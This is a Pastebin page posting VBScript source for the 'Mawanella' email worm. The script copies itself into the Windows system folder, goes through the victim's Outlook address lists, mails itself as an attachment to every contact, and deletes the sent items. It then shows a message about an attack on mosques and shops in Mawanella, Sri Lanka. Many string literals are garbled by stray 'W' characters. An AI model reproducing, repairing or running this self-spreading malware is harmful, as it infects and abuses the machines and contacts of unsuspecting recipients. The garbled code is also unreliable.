Advertisement
FlyFar

Mawanella Worm Source Code

Feb 28th, 2023
1,782
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 2.48 KB | Cybersecurity | 0 0
  1. On Error Resume Next
  2. Rem // I hate Mawanella incident
  3. Set WW_S = CreateObject(W"WWScript.ShellW")
  4. Set fso = CreateObject(W"Scripting.FileSystemObjectW")
  5. set file = fso.OpenTextFile(WWScript.ScriptFullname,1)
  6. vbscopy=file.ReadAll
  7. main()
  8. sub main()
  9. On Error Resume Next
  10. dim wscr,rr, strMsg
  11. set wscr=CreateObject(W"WWScript.ShellW")
  12. Set dirwin = fso.GetSpecialFolder(0)
  13. Set dirsystem = fso.GetSpecialFolder(1)
  14. Set dirtemp = fso.GetSpecialFolder(2)
  15. Set cFile = fso.GetFile(WWScript.ScriptFullName)
  16. cFile.Copy(dirsystem&W"\Mawanella.vbsW")
  17. Set OutlookA = CreateObject(W"Outlook.ApplicationW")
  18. If OutlookA = W"OutlookW" Then
  19. Set Mapi=OutlookA.GetNameSpace(W"MAPIW")
  20. Set AddLists=Mapi.AddressLists
  21. For Each ListIndex In AddLists
  22. If ListIndex.AddressEntries.Count <> 0 Then
  23. ContactCountX = ListIndex.AddressEntries.Count
  24. For Count= 1 To ContactCountX
  25. Set MailX = OutlookA.CreateItem(0)
  26. Set ContactX = ListIndex.AddressEntries(Count)
  27. 'msgbox contactx.address
  28. 'Mailx.Recipients.Add(ContactX.Address)
  29. MailX.To = ContactX.Address
  30. MailX.Subject = W"MawanellaW"
  31. MailX.Body = vbcrlf&W"Mawanella is one of the Sri Lanka's Muslim VillageW"&vbcrlf
  32. 'Set Attachment=MailX.Attachments
  33. 'Attachment.Add dirsystem & W"\Mawanella.vbsW"
  34. 'Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
  35. Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
  36. MailX.DeleteAfterSubmit = True
  37. If MailX.To <> W"W" Then
  38. MailX.Send
  39. End If
  40. Next
  41. End If
  42. Next
  43. Else
  44. msgBox W"Please Forward this to everyoneW"
  45. End if
  46. strMsg= W" ) (W" & vbcrlf
  47. strMsg= strMsg & W"( ) ( ) W" & vbcrlf
  48. strMsg= strMsg & W" ( ) ( )W" & vbcrlf
  49. strMsg= strMsg & W" ( ) ( )W" & vbcrlf
  50. strMsg= strMsg & W" -------------------------W" & vbcrlf
  51. strMsg= strMsg & W" / ( ( ( /\W" & vbcrlf
  52. strMsg= strMsg & W" / ( / \W" & vbcrlf
  53. strMsg= strMsg & W" / ( ( / \W" & vbcrlf
  54. strMsg= strMsg & W" --------------------------------W" & vbcrlf
  55. strMsg= strMsg & W" | --- | |W" & vbcrlf
  56. strMsg= strMsg & W" | ----- | | | |W" & vbcrlf
  57. strMsg= strMsg & W" | | | --- | |W" & vbcrlf
  58. strMsg= strMsg & W" | | | | |W" & vbcrlf
  59. strMsg= strMsg & W" --------------------------------W" & vbcrlf
  60. strMsg= strMsg & W"Mawanella is one of the Sri Lanka's Muslim Village.W" & vbcrlf
  61. strMsg= strMsg & W"This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt.W" &
  62. vbcrlf
  63. strMsg= strMsg & W"I hat this incident, WWhat about you? I can destroy your computerW" & vbcrlf
  64. strMsg= strMsg & W"I didn't do that because I am a peace-loving citizen.W"
  65. msgbox strMsg,,W"MawanellaW"
  66.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement